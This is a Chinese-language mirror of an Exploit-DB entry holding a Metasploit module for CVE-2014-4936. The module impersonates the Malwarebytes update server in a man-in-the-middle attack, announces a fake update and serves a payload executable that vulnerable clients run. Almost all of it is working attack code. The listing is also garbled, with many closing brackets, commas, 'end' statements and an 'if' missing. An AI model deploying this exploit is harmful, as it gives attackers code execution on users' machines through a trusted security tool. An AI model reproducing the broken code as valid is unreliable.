Malwarebytes Anti-Malware < 2.0.3 / Anti-Exploit < 1.03.1.1220 - Update Code Execution (Metasploit)

Exploit Database
137 阅读

作者： Metasploit

日期： 2014-12-16
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/41701/

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# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = GoodRanking # Would be Great except MBAE doesn't version check

include Msf::Exploit::EXE

include Msf::Exploit::Remote::HttpServer

VERSION_REGEX = /\/v2\/(mbam|mbae)\/consumer\/version.chk/

EXE_REGEX = /\/v2\/(mbam|mbae)\/consumer\/data\/(mbam|mbae)-setup-(.*)\.exe/

NEXT_VERSION= { mbam: '2.0.3.1025', mbae: '1.04.1.1012' }

def initialize(info = {})

super(update_info(info,

'Name' => 'Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution',

'Description'=> %q{

This module exploits a vulnerability in the update functionality of

Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes

Anti-Exploit consumer 1.03.1.1220.

Due to the lack of proper update package validation, a man-in-the-middle

(MITM) attacker could execute arbitrary code by spoofing the update server

data-cdn.mbamupdates.com and uploading an executable. This module has

been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.

'License'=> MSF_LICENSE,

'Author' =>

[

'Yonathan Klijnsma',# Vulnerability discovery and PoC

'Gabor Seljan', # Metasploit module

'todb'# Module refactoring

'References' =>

[

[ 'CVE', '2014-4936' ],

[' OSVDB', '116050'],

[ 'URL', 'http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog

'DefaultOptions' =>

{

'EXITFUNC' => 'process'

'Platform' => 'win',

'Targets'=>

[

[ 'Windows Universal', {} ]

'Privileged' => false,

'DisclosureDate' => 'Dec 16 2014',

'DefaultTarget'=> 0

))

register_options(

[

OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),

OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ])

], self.class)

# Vulnerable Malwarebytes clients do not allow altering these.

deregister_options('SSL', 'SSLVersion', 'SSLCert')

end

def on_request_uri(cli, request)

case request.uri

when VERSION_REGEX

serve_update_notice(cli) if set_exploit_target($1, request)

when EXE_REGEX

serve_exploit(cli)

else

vprint_status "Sending empty page for #{request.uri}"

serve_default_response(cli)

end

def serve_default_response(cli)

send_response(cli, '')

end

def check_client_version(request)

return false unless request['User-Agent'] =~ /base:(\d+\.\d+\.\d+\.\d+)/

this_version = $1

next_version = NEXT_VERSION[:mbam]

Gem::Version.new(next_version) >= Gem::Version.new(this_version)

return true

else

print_error "Version #{this_version} of Anti-Malware isn't vulnerable, not attempting update."

return false

end

def set_exploit_target(package, request)

case package

when /mbam/i

if check_client_version(request)

@client_software = ['Anti-Malware', NEXT_VERSION[:mbam]]

else

serve_default_response(cli)

return false

end

when /mbae/i

# We don't get identifying info from MBAE

@client_software = ['Anti-Exploit', NEXT_VERSION[:mbae]]

end

def serve_update_notice(cli)

software,next_version = @client_software

print_status "Updating #{software} to (fake) #{next_version}. The user may need to click 'OK'."

send_response(cli, next_version,

'Content-Type' => 'application/octet-stream'

)

end

def serve_exploit(cli)

print_status "Sending payload EXE..."

send_response(cli, generate_payload_exe,

'Content-Type' => 'application/x-msdos-program'

)

end